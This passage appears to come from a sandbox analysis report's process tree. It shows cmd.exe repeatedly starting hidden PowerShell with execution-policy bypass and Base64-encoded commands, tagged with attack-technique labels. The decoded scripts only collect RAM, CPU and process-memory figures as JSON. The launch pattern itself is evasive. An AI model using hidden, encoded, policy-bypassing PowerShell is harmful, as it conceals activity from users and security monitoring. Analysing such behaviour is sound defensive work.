  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:2920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:3944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:4432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:4976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:3952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:1764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:2632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:1252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:2904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:1200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
